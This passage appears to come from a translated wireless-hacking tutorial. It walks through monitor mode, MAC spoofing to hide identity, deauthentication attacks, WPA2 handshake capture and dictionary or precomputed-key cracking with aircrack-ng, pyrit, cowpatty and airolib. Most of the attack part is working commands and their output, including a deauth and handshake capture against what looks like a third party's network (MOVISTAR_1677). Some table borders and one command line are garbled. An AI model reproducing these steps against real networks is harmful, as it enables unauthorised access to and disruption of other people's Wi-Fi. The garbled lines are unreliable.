| -54 dBm | 1c:b0:44:d4:16:78 | MOVISTAR_1677 | WPA2 (CCMP, PSK) | 2.0 | 6 | | 172 B | | 21:15:37 |
| -88 dBm | 10:62:d0:f6:f7:d8 | LowiF7D3 | WPA2 (TKIP, PSK) | 2.0 | 1 | | 267 B | | 21:15:35 |
| -69 dBm | 06:b0:44:d4:16:85 | MOVISTAR_1677 | WPA2 (CCMP, PSK) | 2.0 | 112 | | | | 21:15:31 |
└───────n't ──┴──────────n't ┴───────────┴─────────┴─────────┴─────────┘
wlan0mon (ch. 40) / ↑ 0 B / ↓ 538 kB / 1392 pkts
 wlan0mon »
```

Now, how do I filter the channel that interests me? Simple... through the following operation:

```
wlan0mon » wifi.recon.channel 6
```

This will now list the networks available on channel 6:

```
 ┌───────n't ──────────n't ─────┬──────────┐
| RSSI | BSSID | SSID | Encryption | WPS | Ch | Clients ▼ | Sent | Recvd | Seen |
├───────n't ──────────n't ─────┼──────────┤
| -94 dBm | 50:78:b3:ee:bb:ac | MIWIFI_psGP | WPA2 (CCMP, PSK) | 2.0 | 6 | | | | 21:18:09 |
| -53 dBm | 1c:b0:44:d4:16:78 | MOVISTAR_1677 | WPA2 (CCMP, PSK) | 2.0 | 6 | | 3.4 kB | | 21:18:10 |
└───────n't ──────────n't ─────┴──────────┘
wlan0mon (ch. 6) / ↑ 0 B / ↓ 906 kB / 2889 pkts
 wlan0mon » wifi.recon.channel 6
```

What is convenient about this method? For example, now seeing that the **MOVISTAR_1677** network has the BSSID **1c:b0:44:d4:16:78** , I could carry out a de-authentication attack on the clients that **Bettercap** detects in said network:

```
wlan0mon » wifi.deauth 1c:b0:44:d4:16:78
```

Obtaining the following results:

```
wlan0mon » wifi.deauth 1c:b0:44:d4:16:78
 wlan0mon » [21:33:26] [sys.log] [inf] wifi deauthing client 20:34:fb:b1:c5:53 from AP MOVISTAR_1677 (channel:6 encryption:WPA2)
```

Once the client reconnects to the network:

```
 wlan0mon » [21:33:13] [wifi.client.probe] station da:a1:19:8b:d9:82 (Google, Inc.) is probing  for  SSID MOVISTAR_DF12 (-38 dBm)
wlan0mon » [21:33:15] [wifi.client.probe] station 20:34:fb:b1:c5:53 is probing  for  SSID MOVISTAR_1677 (-40 dBm)
wlan0mon » [21:33:15] [wifi.client.handshake] captured 20:34:fb:b1:c5:53 -  >  MOVISTAR_1677 (1c:b0:44:d4:16:78) RSN PMKID to /root/
bettercap-wifi-handshakes.pcap
wlan0mon » [21:33:15] [wifi.client.handshake] captured 20:34:fb:b1:c5:53 -  >  MOVISTAR_1677 (1c:b0:44:d4:16:78) WPA2 handshake to /root/
bettercap-wifi-handshakes.pcap
```

The Handshake is generated and it is automatically exported to the indicated file from the verbose of the tool. If we analyze with **pyrit** , we see that indeed... a Handshake has been captured by said station:

```
 ┌─[root@parrot]─[/opt/bettercap]
└──╼  #  pyrit -r /root/bettercap-wifi-handshakes.pcap analyze
Pyrit 0.5.1 (C) 2008-2011 Lukas Lueg - 2015 John Mora
https://github.com/JPaulMora/Pyrit
This code is distributed under the GNU General Public License v3+
Parsing file  '  /root/bettercap-wifi-handshakes.pcap  '  (1/1)...
Parsed 7 packets (7 802.11-packets), got 1 AP(s) #  1: AccessPoint 1c:b0:44:d4:16:78 ('MOVISTAR_1677'):  #  1: Station 20:34:fb:b1:c5:53, 4
handshake(s):  #  1: HMAC_SHA1_AES, good, spread 1  #  2: HMAC_SHA1_AES, good, spread 1  #  3: HMAC_SHA1_AES, good, spread 2  #  4:
HMAC_SHA1_AES, good, spread 2
```

Techniques to increase computing speed

While it is true that I find the computing speed of my computer to be quite acceptable (7,000/10,000 passwords per second), is there a way to go even faster? Is there a way to multiply the speed by 1,000 if necessary? a computer with high requirements? The answer is yes.

When starting the brute force process with **aircrack** , for example, we are carrying out several steps:

- Capture filtering to extract the Hash (Handshake)
- Dictionary reading (CCMP for each clear text password)
- Comparison of the resulting Hash with the captured Handshake
- True/False (If there is a Match, that is the password)

Have you not thought that all these steps could be omitted if we had a dictionary of already precomputed keys? Let me explain, what if instead of having a dictionary of passwords in clear text, we have a dictionary of passwords already pre-computed with their respective hashes? Notice that now it would simply be to do the following steps:

- Read PMK key from dictionary

- True/False (Match with the Handshake)

This reduction in steps is equivalent to the speed of the computation time, that is, it is much less. We will see it little by little, but first a bit of culture :)

Rainbow Table concept

Today passwords are no longer kept unencrypted – or so it is expected. When users of a platform set a password for their account, this string of characters does not appear in plain text in a database on some server, since it would not be secure: if they found a way into it, a hacker would It would be very easy to access all the accounts of a certain user.

For eCommerce, online banking or online government services this would have fatal consequences. Instead, online services use various cryptographic mechanisms to encrypt their users' passwords so that only a hash value (digest value) of the key appears in databases.

Even knowing the cryptographic function that originated it, it is not possible to deduce the password from this hash value, because it is not possible to reconstruct the procedure in reverse. This leads cybercriminals to resort to brute force attacks, in which a computer program tries to "guess" the correct sequence of characters that makes up the password for as long as it takes.

This method can be combined with so-called password “dictionaries”. In these files, which circulate freely on the Internet, numerous passwords can be found that are either very popular or have already been intercepted in the past.

Hackers tend to try all the passwords in the dictionary first, which saves time, but depending on the complexity of the passwords (length and type of characters), this process can take longer and consume more resources than expected .

Also available on the Web and also a resource for cracking secret keys, rainbow tables go a step beyond dictionaries. These files, which can be several hundred gigabytes in size, contain a list of keys together with their hash values, but in an incomplete way: to reduce their size and thus their need for memory space, strings of values are created from which the other values can be easily reconstructed. With these tables the hash values found in a database can be sorted with their plain text keys.

A clear example: https://hashkiller.co.uk/

Cracking with Pyrit

With that said, and while we're not going to get into the full **Rainbow Tables** just yet , let's start by looking at how we can make use of **Pyrit** to crack passwords through dictionary attacks. First we will see the conventional method and later we will combine it with a Rainbow Table.

Once a Handshake is captured, we can use Pyrit to crack the wireless network password, as follows:

```
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  pyrit -e hacklab -i /usr/share/wordlists/rockyou.txt -r Capture-01.cap attack_passthrough
Pyrit 0.5.1 (C) 2008-2011 Lukas Lueg - 2015 John Mora
https://github.com/JPaulMora/Pyrit
This code is distributed under the GNU General Public License v3+
Parsing file  '  Capture-01.cap  '  (1/1)...
Parsed 43 packets (43 802.11-packets), got 1 AP(s)
Picked AccessPoint 20:34:fb:b1:c5:53 automatically...
```

The **attack_passthrough** mode is responsible for attacking a captured handshake by means of a brute force attack, using the dictionary specified through the ' **-r** ' parameter.

Once the password is obtained:

```
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  pyrit -e hacklab -i /usr/share/wordlists/rockyou.txt -r Capture-01.cap attack_passthrough
Pyrit 0.5.1 (C) 2008-2011 Lukas Lueg - 2015 John Mora
https://github.com/JPaulMora/Pyrit
This code is distributed under the GNU General Public License v3+
Parsing file  '  Capture-01.cap  '  (1/1)...
Parsed 43 packets (43 802.11-packets), got 1 AP(s)
Picked AccessPoint 20:34:fb:b1:c5:53 automatically...
Tried 40002 PMKs so far  ;  2466 PMKs per second.  123hello9
The password is  '  hottie4u  '  .
```

If you look... **2,466 PMKs per second** , which is pretty sad considering the speed of **aircrack** , but don't worry, even though we're disappointed now, we'll be surprised later.

Cracking with Cowpatty

Using **Cowpatty** to employ a brute force attack is as follows:

```
┌─[✗]─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  cowpatty -f dictionary -r Capture-01.cap -s hacklab
cowpatty 4.8 - WPA-PSK dictionary attack.  <  jwright@hasborg.com  >
Collected all necessary data to mount crack against WPA2/PSK passphrase.
Starting dictionary attack.  Please be patient.
key no.  1000: skittles1
key no.  2000: princess15
key no.  3000: unfaithful
key no.  4000: andresteamo
key no.  5000: hennessy
key no.  6000: friends forever
key no.  7000: 0123654789
key no.  8000: trinitron
key no.  9000: flower22
key no.  10000: Vincenzo
key no.  11000: pensacola
key no.  12000: boy racer
key no.  13000: grandma
key no.  14000: battle field
key no.  15000: bad angel
The PSK is  "  hottie4u  "  .
15242 passphrases tested  in  24.02 seconds: 634.53 passphrases/second
```

It is important to note that you must always specify the **ESSID** of the network. As we see, we get the password but the computation is even much less... **634 passwords per second** , we will improve it.

Cracking with Airolib

Now is when we are going to increase the computing speed. **Airolib** allows us to create a dictionary of pre-computed keys (PMK's), which is wonderful for that matter.

We will start by creating a **passwords-airolib** file , indicating the password dictionary to use:

```
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  airolib-ng passwords-airolib --import passwd dictionary
Database  <  passwords-airolib  >  does not already exist, creating it...
Database  <  passwords-airolib  >  successfully created
Reading file...
Writing...s read, 45922 invalid lines ignored.
donate.
```

Once done, we create a file that stores the **ESSID** of our network and synchronize it with the created file:

```
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  echo "hacklab" > essid.lst
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  airolib-ng passwords-airolib --import essid essid.lst
Reading file...
Writing...
donate.
```

Through the ' **--stats** ' parameter, we can check that everything is correctly defined:

```
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  airolib-ng passwords-airolib --stats
There are 1 ESSIDs and 24078 passwords  in  the database.  0 out of 24078 possible combinations have been computed (0%).
ESSID Priority Done
hacklab 64 0.0
```

Since **airolib** comes with a parameter to clean up the file (unreadable lines or errors), we use it as well:

```
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  airolib-ng passwords-airolib --clean all
Deleting invalid ESSIDs and passwords...
Deleting unreferenced PMKs...
Analyzing index structure...
Vacuum-cleaning the database.  This could take a while...
Checking database integrity...
integrity_check
okay
donate.
```

And finally, we use the **--batch** parameter to generate the final dictionary of precomputed keys:

```
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  airolib-ng passwords-airolib --batch
Batch processing...
Computed 5000 PMK  in  13 seconds (384 PMK/s, 19078  in  buffer)
Computed 10000 PMK  in  24 seconds (416 PMK/s, 14078  in  buffer)
Computed 15000 PMK  in  36 seconds (416 PMK/s, 9078  in  buffer)
Computed 20000 PMK  in  48 seconds (416 PMK/s, 4078  in  buffer)
Computed 24078 PMK  in  58 seconds (415 PMK/s, 0  in  buffer)
All ESSID processed.
```

Once generated, pay attention to the speed. Let's see with **aircrack** how long it takes us using the traditional procedure:

```
                              aircrack-ng 1.5.2
      [00:00:02] 22832/24078 keys tested (9415.01 k/s)
      Time left: 0 seconds 94.83%
                           KEY FOUND  !  [hottie4u]
      Master Key       :  B1 42 12 E4 D4 86 FF 87 49 04 29 E3 51 E3 C6 BC
                       C0 EA A3 03 A6 ED E3 79 A0 A4 BC D6 8F 3B 39 E3
      Transient Key    :  F7 17 BB BB 6F A3 9A E8 D5 DA E6 3E 0E C5 0B 45
                       C8 D6 47 4B 87 12 FF A7 80 6A 44 00 05 77 CC 96
                       35 99 2D BA 9D B0 A4 CF C2 43 CF 66 2B 74 D9 16
                       7C ED 59 EF AE 70 5D 23 D9 7B 9E B9 38 2A 87 CC
      EAPOL HMAC       :  7F A8 E0 CC 77 49 2C E9 51 8C 81 42 F9 DB CE E0
```

Key values:

- 9,415 passwords per second
- 2 seconds to find the password

Now, let's use aircrack to crack the password again, but this time with a syntax that takes the file created with **airolib** as input :

- aircrack-ng -r passwords-airolib Capture-01.cap

We get the following results:

```
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  aircrack-ng -r passwordsAircrack-ng 1.5.2 1.cap
      [00:00:00] 15241/0 keys tested (204456.39 k/s)
      Time left:
                           KEY FOUND  !  [hottie4u]
      Master Key       :  24 87 02 AB 54 4E 47 C1 C0 DC DE E9 DF 7D 22 88
                       80 C4 F0 07 F9 04 B8 71 B7 72 2A F1 04 75 57 99
      Transient Key    :  21 6C FB DC 6B D0 98 59 99 F1 A3 1A B2 CF 9D 67
                       E2 6C DA 3C CC 50 B2 60 9B 65 D3 B1 94 DA B4 AB
                       92 62 DB 80 C5 CB DA 15 A5 04 D3 C7 5B A2 FD 8F
                       87 36 0A 3A 99 45 14 A2 61 8D 3B 90 44 53 6A A4
      EAPOL HMAC       :  64 A2 4A 1B D6 22 93 78 78 09 2F 42 7E 11 8F BC
```

Key values:

- 204,456 passwords per second
- 0.X seconds until the password is found

I know, amazing, but it is possible to go even faster.

Rainbow Table with Genpmk

We have seen how we can considerably increase computing speed by using the **aircrack** suite . **Now let's move away from aircrack** a bit and think about **Cowpatty** and **Pyrit** , we weren't too surprised last time, were we, but we're going to have them take on a bigger role.

The **passwords-airolib** file cannot be used by **Cowpatty** or **Pyrit** , in this case we will have to use **genpmk** to generate a new dictionary of precomputed keys adapted to be interpreted by these fantastic tools.

The syntax is as follows:

```
┌─[✗]─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  genpmk -f dictionary -d dic.genpmk -s hacklab
genpmk 1.3 - WPA-PSK precomputation attack.  <  jwright@hasborg.com  >
File dic.genpmk does not exist, creating.
key no.  1000: skittles1
key no.  2000: princess15
key no.  3000: unfaithful
key no.  4000: andresteamo
key no.  5000: hennessy
key no.  6000: friends forever
key no.  7000: 0123654789
key no.  8000: trinitron
key no.  9000: flower22
key no.  10000: Vincenzo
key no.  11000: pensacola
key no.  12000: boy racer
key no.  13000: grandma
key no.  14000: battle field
key no.  15000: bad angel
key no.  16000: liferocks
key no.  17000: forever15
key no.  18000: gabriell
key no.  19000: mexico18
key no.  20000: 13031991
key no.  21000: kitty1234
key no.  22000: casper22
key no.  23000: 12021989
key no.  24000: tigers15
```

WPA networks

This section includes all the attack vectors and offensive techniques for the WPA protocol.

Basic concepts

There are a number of key concepts to clarify before you begin. Most of the attacks that we are going to see, in addition to sometimes serving to annoy... are aimed at obtaining the password of a wireless network.

Why it is necessary to carry out an attack to obtain the password is something that we will see in the following points. It must be taken into account that since it is a PSK (Pre-Shared-Key) type authentication, a pre-shared key is being used, as its name indicates, a unique password that, if available to anyone, can be used to carry out an association against the AP.

When carrying out an association by a station (**client**) against the AP, a trace is left at the level of packets (eapol), which as an attacker, can be captured and processed without being authenticated to the access point for later extract the password of the wireless network.

All this explained in a non-technical way so as not to get into the subject so quickly, and as we progress, it will be analyzed more at a low level how everything works :)

Monitor mode

You have to think that we are surrounded by packages on all sides, packages that we are not capable of perceiving, packages that contain information about the environment in which we move.

These packets can be captured with network cards that support monitor mode. The **monitor mode** is nothing more than a way by which we can listen and capture all the packets that travel through the air. Perhaps best of all, we can not only capture them, but also manipulate them (we'll see some interesting attacks later).

To check if our network card accepts the monitor mode, we will do a test in the next section.

Network card configuration and tips

Let's start with a couple of basic commands. Here is my network card:

```
 ┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  ifconfig wlan0
wlan0: flags=  4163<  UP,BROADCAST,RUNNING,MULTICAST  >    mtu 1500
        inet 192.168.1.187 netmask 255.255.255.0 broadcast 192.168.1.255
        inet6 fe80::1d28:6b2b:a941:5796 prefixlen 64 scopeid 0x  20<  link  >
        ether e4:70:b8:d3:93:5d txqueuelen 1000 (Ethernet)
        RX packets 6426576 bytes 9229384163 (8.5 GiB)
        RX errors 0 dropped 5 overruns 0 frame 0
        TX packets 1160899 bytes 162727829 (155.1 MiB)
        TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

I hope that from now on you get along with her, because with this we will practice most of the attacks.

To put our network card in monitor mode, it is as simple as applying the following command:

```
 ┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  airmon-ng start wlan0
Found 5 processes that could cause trouble.
Kill them using  '  airmon-ng check kill  '  before putting
the card  in  monitor mode, they will interfere by changing channels
and sometimes putting the interface back  in  managed mode
  PID Name
  818 avahi-daemon
  835 wpa_supplicant
  877 avahi-daemon
 5398 Network Manager
```

```
18308 dhclient
PHY Interface Driver Chipset
phy0 wlan0 iwlwifi Intel Corporation Wireless 7265 (rev 61)
    (mac80211 monitor mode vif enabled  for  [phy0]wlan0 on [phy0]wlan0mon)
    (mac80211 station mode vif disabled  for  [phy0]wlan0)
```

Now, things to keep in mind. When we are in monitor mode, we lose internet connectivity. This mode does not support internet connection, so do not panic if you suddenly see that you cannot navigate. We will see how to disable this mode so that everything returns to normal.

It should be said that when starting this mode, a series of conflicting processes are generated . This is so because, for example, if we are not going to have internet access... why have the ' **dhclient** ' and ' **wpa_supplicant** ' processes running? It's absurd, and even the suite itself reminds us of it... Well, they are in charge of giving us connectivity and keeping us connected to a network while being associated, which in this case... does not apply.

Killing these processes is simple, we have the following way:

```
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  pkill dhclient && pkill wpa_supplicant
```

Or if we want to pull the suite itself:

```
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  airmon-ng check kill
Killing these processes:
  PID Name
  835 wpa_supplicant
```

Now with this, our network card is in monitor mode. One way to check if we are in monitor mode is by listing our network interfaces. **Now our wlan0** network should be called **wlan0mon** :

```
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  ifconfig |  grep wlan0 -A 6
wlan0mon: flags=  4163<  UP,BROADCAST,RUNNING,MULTICAST  >    mtu 1500
        unspec E4-70-B8-D3-93-5C-30-3A-00-00-00-00-00-00-00-00 txqueuelen 1000 (UNSPEC)
        RX packets 63 bytes 12032 (11.7 KiB)
        RX errors 0 dropped 63 overruns 0 frame 0
        TX packets 0 bytes 0 (0.0 B)
        TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

Once we have reached this point, it could be said that we are already capable of capturing all the packets that travel around us, but we will leave this for the next point.

Important, how to disable monitor mode and get everything back to normal in terms of connectivity? Simple. We can make use of the following commands to reestablish the connection:

```
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  airmon-ng stop wlan0mon && service network-manager restart
PHY Interface Driver Chipset
phy0 wlan0mon iwlwifi Intel Corporation Wireless 7265 (rev 61)
    (mac80211 station mode vif enabled on [phy0]wlan0)
    (mac80211 monitor mode vif disabled  for  [phy0]wlan0mon)
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  ping -c 10 -i 0.01 -q google.com
PING google.es (172.217.17.3) 56(84) bytes of data.
--- google.es ping statistics ---
10 packets transmitted, 10 received, 0% packet loss,  time  309ms
rtt min/avg/max/mdev = 28.718/29.565/29.985/0.427 ms, pipe 3
```

For whatever ailments and concerns, you should not throw your computer away.

But this is not enough. Despite not being connected to any network and not having an IP address, what in itself can leave a trace is our MAC address.

The MAC address, after all, is like the DNI of each device, it is what identifies a mobile device, a router, a computer, etc. It would be ugly to be carrying out certain types of attacks acting under a MAC address that is associated with us, it is the equivalent of carrying out a robbery with a balaclava but carrying a wallet with our ID in our pocket and inadvertently dropping it to the ground, leaving us exposure of everyone else.

A good practice is to falsify the MAC address, and it is not necessary to know electronics or hardware for it. Through the **macchanger** utility , we can play with the MAC address of our device to manipulate it at will.

For example, let's imagine that I want to assign a MAC address of the NATIONAL SECURITY AGENCY (**NSA**) to my network card . How would I proceed? First we look for the MAC address in the extensive list available to 'macchanger':

```
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  macchanger -l |  grep -i "national security agency"
8310 - 00:20:91 - J125, NATIONAL SECURITY AGENCY
```

These first three listed pairs correspond to what is known as the **Organizationally Unique Identifier** , a simple 24-bit number that identifies the vendor, manufacturer, or other organization.

A MAC address is made up of 6 bytes, we already have the first 3 bytes, what about the other 3 bytes? The remaining 24 bits correspond to what is known as a **Universally Administered Address** , and honestly... in my practices, I always make it up.

That is, if you wanted to spoof a MAC address registered under the NSA's **OUI** , you could do the following:

```
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  ifconfig wlan0mon down
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  echo "$(macchanger -l | grep -i "national security agency" | awk '{print $3}'):da:1b:6a"
00:20:91:da:1b:6a
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  macchanger --mac=$(!!) wlan0mon
Current MAC: e4:70:b8:d3:93:5c (unknown)
Permanent MAC: e4:70:b8:d3:93:5c (unknown)
New MAC: 00:20:91:da:1b:6a (J125, NATIONAL SECURITY AGENCY)
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  ifconfig wlan0mon up
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼  #  macchanger -s wlan0mon
Current MAC: 00:20:91:da:1b:6a (J125, NATIONAL SECURITY AGENCY)
Permanent MAC: e4:70:b8:d3:93:5c (unknown)
```

Aspects to take into account from the above:

- It is necessary to unsubscribe the network interface to manipulate its MAC address, otherwise the 'macchanger' itself will notify us that it is necessary to unsubscribe it.
- With the '--mac' utility, we can specify the MAC address to use for the specified network interface.
- Once the changes have been applied, we register the interface and with the parameter '-s' (**show**), we validate that our network card corresponds to the assigned **OUI .**

Perfect, if you have reached this point we can continue.

Surrounding analysis

The interesting moment arrives. Now that we are in monitor mode, to capture all the packets around us, we can use the following command:

```
airodump-ng wlan0mon
```

IMPORTANT : Although perhaps I should have mentioned it in the previous point, not all network cards have to be called **wlan0** , they may have a different name (Ex: **wlp2s0**), so its name must be taken into account to accompany it together to the command to apply.

When running the aforementioned command, we get the following output:

```
CH 13 ][ Elapsed: 18s ][ 2019-08-05 13:34
 BSSID PWR Beacons      #  Data, #/s CH MB ENC CIPHER AUTH ESSID
 20:34:FB:B1:C5:53 -20 19 1 0 1 180 WPA2 CCMP PSK hacklab
 1C:B0:44:D4:16:78 -59 23 13 0 11 130 WPA2 CCMP PSK MOVISTAR_1677
 30:D3:2D:58:3C:6B -79 29 4 0 11 135 WPA2 CCMP PSK devolo-30d32d583c6b
 10:62:D0:F6:F7:D8 -81 15 0 0 6 130 WPA2 CCMP PSK LowiF7D3
 F8:8E:85:DF:3E:13 -85 14 0 0 9 130 WPA CCMP PSK Wlan1
 FC:B4:E6:99:A9:09 -85 17 0 0 1 130 WPA2 CCMP PSK MOVISTAR_A908
 28:9E:FC:0C:40:3E -90 2 0 0 6 195 WPA2 CCMP PSK vodafone4038
 BSSID STATION PWR Rate Lost Frames Probe
 20:34:FB:B1:C5:53 34:41:5D:46:D1:38 -27 0 - 2e 0 1
```

Well then, how is this output interpreted?

Of the most important fields at the moment, on the one hand we have the BSSID field , where we can always verify the MAC address of the access point. On the other hand, we have the **PWR** field , where by way of consideration, the closer it is to the value 0, we can say that the closer we are to the AP.

The **CH** field indicates the channel in which the AP is located. Each AP is positioned in a different channel, with the aim of avoiding damage to the wave spectrum between the multiple networks in the environment. There is a denial of service attack, which is responsible for generating multiple Fake APs located on the same channel as the target AP, thus rendering the network temporarily inoperative (we will see it later).

On the other hand, the **ENC, CIPHER** and **AUTH** fields , where we can always check what type of network we are dealing with. Most home networks comply with WPA/WPA encryption, with CCMP encryption and PSK authentication mode.

In the **ESSID** field , we will always be able to know the name of the network with which we are dealing, thus being able to know its MAC address on the same line through the **BSSID** field , useful for when we start with the filtering phase.

The **DATA** field , for the moment we will not touch it, since we will get into it thoroughly when we deal with the **WEP** protocol networks .

Also, at the bottom, we can see other data that is being captured with the tool. This section corresponds to that of clients. We will consider a station as an associated client. For the example shown, there is a station with MAC address **34:41:5D:46:D1:38** associated with **BSSID** '20:34:FB:B1:C5:53', where immediately at the top we can see that This is the **hacklab** network , so we already know that this network has an associated client.

It is possible that sometimes we get to capture stations that are not associated to any access point, which in this case will be indicated with a ' **not associated** ' in the **BSSID** field . It is through the **Frames** field of the stations, where we can see what type of activity the client has on said AP. If the Frames increase considerably at short intervals of time, this means that the station is active at the time of the capture.

Filter modes

Although it is wonderful to be able to capture all the AP's and stations in our environment, as an attacker we will always be interested in attacking a specific AP. Therefore, we introduce at this point the filter modes available from the tool to capture those desired access points.

Let's go back to the case from before:

```
CH 13 ][ Elapsed: 18s ][ 2019-08-05 13:34
 BSSID PWR Beacons      #  Data, #/s CH MB ENC CIPHER AUTH ESSID
 20:34:FB:B1:C5:53 -20 19 1 0 1 180 WPA2 CCMP PSK hacklab
 1C:B0:44:D4:16:78 -59 23 13 0 11 130 WPA2 CCMP PSK MOVISTAR_1677
 30:D3:2D:58:3C:6B -79 29 4 0 11 135 WPA2 CCMP PSK devolo-30d32d583c6b
 10:62:D0:F6:F7:D8 -81 15 0 0 6 130 WPA2 CCMP PSK LowiF7D3
 F8:8E:85:DF:3E:13 -85 14 0 0 9 130 WPA CCMP PSK Wlan1
 FC:B4:E6:99:A9:09 -85 17 0 0 1 130 WPA2 CCMP PSK MOVISTAR_A908
 28:9E:FC:0C:40:3E -90 2 0 0 6 195 WPA2 CCMP PSK vodafone4038
 BSSID STATION PWR Rate Lost Frames Probe
 20:34:FB:B1:C5:53 34:41:5D:46:D1:38 -27 0 - 2e 0 1
```

Let's imagine that we want to filter so that only the access point whose ESSID is **hacklab** is listed , what can we first collect from this network?

- The AP sits on channel 1
- The AP has MAC address 20:34:FB:B1:C5:53
- The AP has ESSID hacklab

Generally, 2 data is enough to carry out the filter. For this case, we could filter the network in question in the following ways:

- airodump -ng -c 1 --essid hacklab wlan0mon
- airodump -ng -c 1 --bssid 20:34:FB:B1:C5:53 wlan0mon
- airodump -ng -c 1 --bssid 20:34:FB:B1:C5:53 --essid hacklab wlan0mon

For any of the represented forms, we would obtain the following results:

```
CH 1 ][ Elapsed: 0s ][ 2019-08-08 20:12
 BSSID PWR RXQ Beacons      #  Data, #/s CH MB ENC CIPHER AUTH ESSID
 20:34:FB:B1:C5:53 -26 100 29 7 3 1 180 WPA2 CCMP PSK hacklab
 BSSID STATION PWR Rate Lost Frames Probe
 20:34:FB:B1:C5:53 34:41:5D:46:D1:38 -26 0e- 6e 0 9
```

Evidence export

Now, for practical purposes, we find ourselves in the same situation as at the beginning. As attackers, what we are always interested in is collecting the information of the target AP. In this case, we are monitoring the traffic of the **hacklab** AP , but without generating evidence.

It is more interesting to capture and export all the traffic that is monitored to a file, with the purpose of later being able to analyze it. To do this, the same syntax is used but incorporating the ' **-w** ' parameter, where we then specify the name of the file:

- airodump-ng -c 1 -w Capture --essid hacklab wlan0mon
- airodump-ng -c 1 -w Trap --bssid 20:34:FB:B1:C5:53 wlan0mon
- airodump-ng -c 1 -w Capture --bssid 20:34:FB:B1:C5:53 --essid hacklab wlan0mon

In this way, once the scan begins, the following files are generated in our working directory:

```
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼ # ls
Capture-01.cap Capture-01.csv Capture-01.kismet.csv Capture-01.kismet.netxml Capture-01.log.csv
```

Actually, of all these files, the one that we will work with most of the time is the one with the '.cap' extension, this is so since it is the one that will contain the captured ** Handshake**, which we will deal with shortly .

Handshake concept

For each time a station associates or re-associates with an AP, the encrypted password of the AP travels during the association process. For practical purposes, it is always said that the **Handshake** in these cases is generated when a client reconnects to the network.

As we are monitoring all the network traffic in a file... it is wonderful to capture a re-association, since this authentication will leave a trace in our capture and we will be able to visualize the encrypted password of the network.

You might think, so I have to wait until for X reason a station re-associates with the AP? Not exactly. This type of scenario would be considered a passive scenario, since we as attackers would not be intervening to manipulate the AP traffic.

There is an active scenario, which we will put into practice, where as attackers we are capable of externally developing a de-authentication attack without being associated with an AP, thus expelling one or multiple clients from a wireless network without consent.

At the end of the day, a Handshake will be marked as a Hash, which we can later extract from the capture to start a brute force attack.

Techniques to Capture a Handshake

Next, different techniques are represented with the purpose of capturing a Handshake of the target network.

Targeted Deauthentication Attack

The IEEE 802.11 (Wi-Fi) protocol contains provision for a **deauthentication framework** . As attackers, for this attack what we will do is send a deauthentication frame to the target wireless access point, specifying the MAC address of the client that we want to be expelled from the network.

The process of sending such a frame to the access point is called the ' **Authorized Technique to inform an unauthorized station that it has disconnected from the network** '.

In other words, we would be implementing the following scheme:

To resume the capture where we had left it, I will represent the case again:

```
CH 1 ][ Elapsed: 0s ][ 2019-08-08 20:12
 BSSID PWR RXQ Beacons      #  Data, #/s CH MB ENC CIPHER AUTH ESSID
 20:34:FB:B1:C5:53 -26 100 29 7 3 1 180 WPA2 CCMP PSK hacklab
 BSSID STATION PWR Rate Lost Frames Probe
 20:34:FB:B1:C5:53 34:41:5D:46:D1:38 -26 0e- 6e 0 9
```

Therefore, we have a client **34:41:5D:46:D1:38** associated with the AP **hacklab** . Let's try to eject it from the access point. To kick the client, we will use the **aireplay-ng** utility .

' **Aireplay-ng** ' has different modes:

```
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼ # echo; aireplay-ng --help | tail -n 13 | grep -v help | sed '/^\s*$/d' | sed 's/^ *//'; threw out
--deauth count  :  deauthenticate 1 or all stations (-0)
--fakeauth delay  :  fake authentication with AP (-1)
--interactive          :  interactive frame selection (-2)
```

```
--arpreplay           :  standard ARP-request replay (-3)
--chopchop            :  decrypt/chopchop WEP packet (-4)
--fragment            :  generates valid keystream (-5)
--caffe-latte         :  query a client  for  new IVs (-6)
--cfrag               :  fragments against a client (-7)
--migmode             :  attacks WPA migration mode (-8)
--test                :  tests injection and quality (-9)
```

For this case, we are interested in the ' -0 ' parameter , which can also be used with the ' **--deauth** ' parameter.

The syntax would be the following:

- aireplay-ng -0 10 -e hacklab -c 34:41:5D:46:D1:38 wlan0mon

CONSIDERATIONS : It is necessary to have another console open monitoring the target AP, because if it is not done, it is likely that the deauthentication attack will not work, since **aireplay** does not know which channel to operate on.

For the command represented, what we are doing is from our attacking team sending 10 de-authentication packets to the target station, thus making it disassociate from the network. Just as 10 packages have been specified, its value can be increased to the desired value.

It is even possible to specify a value ' **0** ', thus letting **aireplay** know that we want to send an infinite/unlimited number of deauthentication packets to the target station:

- aireplay-ng -0 0 -e hacklab -c 34:41:5D:46:D1:38 wlan0mon

We could have done the same by specifying the MAC address of the AP instead of its **ESSID** :

- aireplay-ng -0 0 -a 20:34:FB:B1:C5:53 -c 34:41:5D:46:D1:38 wlan0mon

Obtaining the following results:

```
